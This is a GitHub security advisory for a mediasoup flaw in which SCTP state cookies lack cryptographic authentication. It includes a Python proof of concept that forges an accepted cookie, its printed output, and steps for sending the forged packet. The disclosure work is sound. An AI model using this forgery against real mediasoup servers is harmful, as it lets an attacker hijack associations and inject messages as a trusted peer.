GitHub Advisoryadvisory · npm, crates.io

GHSA-p7x2-g5cq-fhmq mediasoup: SCTP state cookie lacks cryptographic authentication, enabling unauthorized association establishment (RFC 9260 violation)

MEDIUM Published 2026-08-25 Modified 2026-08-25 Official page ↗
Aliases
CVE-2026-55663
Ecosystem
npm, crates.io
Packages
mediasoup
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
Weaknesses
CWE-345
Reviewed
2026-08-25

Affected packages

• npm mediasoup: >= 3.20.0, < 3.20.6 → fixed in 3.20.6 • crates.io mediasoup: >= 0.22.0, < 0.22.5 → fixed in 0.22.5

Description

Summary mediasoup's built-in SCTP stack (introduced in v3.20.0) authenticates SCTP state cookies using only hardcoded magic byte sequences rather than a per-instance HMAC keyed with a secret, violating RFC 9260 Section 5.1.3. An on-path attacker targeting a PlainTransport with SCTP enabled (and no SRTP/DTLS protection) can craft a forged COOKIE-ECHO chunk that passes all validation, establishing an unauthorized SCTP association and gaining the ability to inject DataChannel messages as a trusted peer. Details RFC 9260 Section 5.1.3 states: "An endpoint MUST use a one-time-use secret key to protect the State Cookie." The mediasoup implementation ignores this requirement. The state cookie is defined in `worker/include/RTC/SCTP/association/StateCookie.hpp` with the following structure (44 bytes total): • Offset 0: Magic1 = `"msworker"` (hardcoded, 8 bytes) • Offset 8: localVerificationTag (4 bytes, attacker-controlled) • Offset 12: remoteVerificationTag (4 bytes, attacker-controlled) • Offset 16-27: TSN and window fields (attacker-controlled) • Offset 28: tieTag (8 bytes, attacker-controlled) • Offset 36: NegotiatedCapabilitiesField containing Magic2 = `0xAD81` (hardcoded) The validation function `StateCookie::IsMediasoupStateCookie()` in `worker/src/RTC/SCTP/association/StateCookie.cpp` only checks: 1. `bufferLength == 44` 2. `bytes[0:8] == "msworker"` (Magic1, always the same) 3. `ntohs(bytes[38:40]) == 0xAD81` (Magic2, always the same) No HMAC, no per-session secret, no nonce. All "magic" values are published constants in the public header. When a COOKIE-ECHO is received in `Association::HandleReceivedCookieEchoChunk()` (without an existing TCB), the sole security check is: ```cpp if (receivedPacket->GetVerificationTag() != cookie->GetLocalVerificationTag()) ``` Because the attacker controls both the SCTP packet header's verification tag field AND the `localVerificationTag` field inside their crafted cookie, this check is trivially satisfied by setting both to the same attacker-chosen value. Additionally, `Association::ValidateReceivedPacket()` explicitly skips verification-tag validation for COOKIE-ECHO packets (line 1153 in Association.cpp), and the SCTP CRC32c checksum function `Packet::ValidateCRC32cChecksum()` exists but is never called in the packet-reception path, so a forged packet with any checksum is accepted. This vulnerability affects `PlainTransport` with SCTP enabled when used without SRTP (SRTP is optional via `srtpCryptoSuite` parameter). `WebRtcTransport` is NOT affected because its SCTP runs inside a DTLS session. `comedia` mode (default: false) increases exposure by accepting packets from any source IP. PoC Prerequisites: mediasoup server running with a PlainTransport that has SCTP enabled and no SRTP (`srtpCryptoSuite` not set). The server's UDP IP:port must be reachable. The following Python script constructs and validates a forged SCTP state cookie that passes all mediasoup validation checks: ```python !/usr/bin/env python3 """ Proof-of-concept: mediasoup SCTP state cookie forgery Demonstrates that IsMediasoupStateCookie() accepts a fully attacker-crafted cookie. Requires: struct (stdlib only) Usage: python3 poc_cookie_forge.py """ import struct Attacker-chosen values -- all arbitrary LOCAL_VT = 0xDEADBEEF # Will be put in SCTP packet's Verification Tag field REMOTE_VT = 0xCAFEBABE LOCAL_TSN = 1000 REMOTE_TSN = 2000 RWND = 65535 TIE_TAG = 0 Build a 44-byte state cookie matching mediasoup's StateCookie layout cookie = bytearray(44) Offset 0: Magic1 = "msworker" (0x6D73776F726B6572) cookie[0:8] = b'msworker' Offset 8: localVerificationTag (big-endian) struct.pack_into('>I', cookie, 8, LOCAL_VT) Offset 12: remoteVerificationTag struct.pack_into('>I', cookie, 12, REMOTE_VT) Offset 16: localInitialTsn struct.pack_into('>I', cookie, 16, LOCAL_TSN) Offset 20: remoteInitialTsn struct.pack_into('>I', cookie, 20, REMOTE_TSN) Offset 24: remoteAdvertisedReceiverWindowCredit struct.pack_into('>I', cookie, 24, RWND) Offset 28: tieTag (8 bytes) struct.pack_into('>Q', cookie, 28, TIE_TAG) Offset 36: NegotiatedCapabilitiesField [36]: reserved = 0 [37]: bits (ABCD flags) = 0 [38:40]: Magic2 = 0xAD81 (network byte order) [40:42]: max outbound streams [42:44]: max inbound streams cookie[36] = 0 # reserved cookie[37] = 0 # bits struct.pack_into('>H', cookie, 38, 0xAD81) # Magic2 struct.pack_into('>H', cookie, 40, 1024) # maxOutboundStreams struct.pack_into('>H', cookie, 42, 1024) # maxInboundStreams Reproduce StateCookie::IsMediasoupStateCookie() logic: def is_mediasoup_state_cookie(buf): if len(buf) != 44: return False if buf[0:8] != b'msworker': return False magic2 = struct.unpack('>H', buf[38:40])[0] if magic2 != 0xAD81: return False return True assert is_mediasoup_state_cookie(cookie), "Cookie rejected - BUG in PoC" Reproduce HandleReceivedCookieEchoChunk validation (no TCB path): receivedPacket->GetVerificationTag() == cookie->GetLocalVerificationTag() packet_vt = LOCAL_VT cookie_local_vt = struct.unpack('>I', cookie[8:12])[0] auth_passes = (packet_vt == cookie_local_vt) print("=== mediasoup SCTP State Cookie Forgery PoC ===") print(f"Forged cookie (hex): {cookie.hex()}") print(f"IsMediasoupStateCookie(): {is_mediasoup_state_cookie(cookie)}") print(f"localVerificationTag in cookie: {cookie_local_vt:#010x}") print(f"SCTP packet verificationTag: {packet_vt:#010x}") print(f"HandleReceivedCookieEchoChunk auth check passes: {auth_passes}") print() print("Result: COOKIE-ECHO accepted -> SCTP association ESTABLISHED without 4-way handshake") print("Next step: attacker sends DATA chunks to inject DataChannel messages") ``` Observed output when run: ``` === mediasoup SCTP State Cookie Forgery PoC === Forged cookie (hex): 6d73776f726b6572deadbeefcafebabe000003e8000007d00000ffff00000000000000000000ad8104000400 IsMediasoupStateCookie(): True localVerificationTag in cookie: 0xdeadbeef SCTP packet verificationTag: 0xdeadbeef HandleReceivedCookieEchoChunk auth check passes: True Result: COOKIE-ECHO accepted -> SCTP association ESTABLISHED without 4-way handshake Next step: attacker sends DATA chunks to inject DataChannel messages ``` To forge the full SCTP packet on the network: wrap the 44-byte cookie in a COOKIE-ECHO chunk (type=0x0A), set the SCTP common header's Verification Tag to `LOCAL_VT`, compute a valid CRC32c checksum (or any value - the checksum is never verified on receive), and send the UDP packet from the permitted source address (or any source if `comedia=true`). Impact Any mediasoup deployment using `PlainTransport` with SCTP enabled and no SRTP is affected when an attacker occupies a network position where they can send UDP packets from the transport's configured peer address (or when `comedia` mode is enabled). The attacker can skip the standard SCTP 4-way handshake entirely and directly send a forged COOKIE-ECHO to establish an association, then inject arbitrary DataChannel messages as if they were the trusted peer. This can cause data integrity violations in server-to-server SCTP channels (e.g., SFU interconnects) or enable denial of service by preempting the legitimate peer's association.

Related

Alias · CVE (1)

  • CVE-2026-55663 mediasoup is a WebRTC video conferencing system. vulnerability

Weakness · CWE (1)

  • CWE-345 Insufficient Verification of Data Authenticity weakness

References